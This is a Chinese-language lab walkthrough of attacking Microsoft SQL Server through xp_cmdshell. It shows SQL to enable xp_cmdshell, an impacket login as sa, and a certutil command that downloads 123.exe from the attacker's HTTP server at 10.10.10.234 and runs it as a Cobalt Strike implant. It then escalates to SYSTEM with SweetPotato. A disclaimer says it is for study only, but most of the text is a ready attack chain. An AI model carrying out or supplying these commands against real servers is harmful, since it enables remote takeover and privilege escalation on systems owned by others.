文章目录
-
-
- 一、简介
- 二、搭建环境
- 三、利用条件
-
- [1、查询 xp_cmdshell 是否开启,返回为1则证明存在](#1、查询 xp_cmdshell 是否开启,返回为1则证明存在)
- 2、判断权限是不是sa,回是1说明是sa
- 3、开启xp_cmdshell
- 4、关闭xp_cmdshell
- 四、获取数据库权限
- 五、提升为管理员权限
- 免责声明
-
一、简介
Sql server
也称Mssql Server
,扩展存储过程中xp_cmdshell
是一个开放接口,可以让SQLserver
调用cmd
命令。此存储过程在SQLserver2000
中默认开启,2005
本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure
将其开启。
xp_cmdshell
可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展"存贮过程"。那么"存储过程",其实质就是一个"集合",就是存储在Sql Server
中预先定义好的"SQL语句集合",说的更直白一些就是各种小脚本共同组成的集合体,我们称之为"存储过程"。
二、搭建环境
系统 | IP | 服务 |
---|---|---|
windows server2012 | 10.10.10.40 | SQL serve数据库 |
kali-linux | 10.10.10.234 | 攻击方-cobaltstrike |


三、利用条件
任何版本的Sql Server都可以对xp_cmdshell 进行利用;
SQL Server数据库没有被降权;
sa用户或其他具有dba权限的账户。
1、查询 xp_cmdshell 是否开启,返回为1则证明存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';

2、判断权限是不是sa,回是1说明是sa

3、开启xp_cmdshell
xp_cmdshell 开关。
【参数解析】
exec 显示或更改当前服务器的全局配置设置。
sp_configure 动态执行SQL语句的命令。
进行开启
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

4、关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

四、获取数据库权限
1、成功获取sqlserver,进行登陆
路径:~/Desktop/impack/impacket-master/examples
命令:python3 mssqlclient.py sa@10.10.10.40

2、开启xp_cmdshell权限
exec xp_cmdshell whami
exec xp_cmdshell ipconfig
enable_xp_cmdshell

3、服务器端开启cobaltstrike,并且开启exe远程访问
python3 -m http.server 9999

4、执行命令,进行上线
xp_cmdshell certutil -urlcache -split -f http://10.10.10.234:9999/123.exe c:/windows/temp/123.exe
xp_cmdshell c:/windows/temp/123.exe

5、成功获取数据库权限

五、提升为管理员权限
1、选取插件SweetPotato(MS16-075)

2、选取刚才上线的sqlserver用户权限

3、此时成功变成system权限


免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!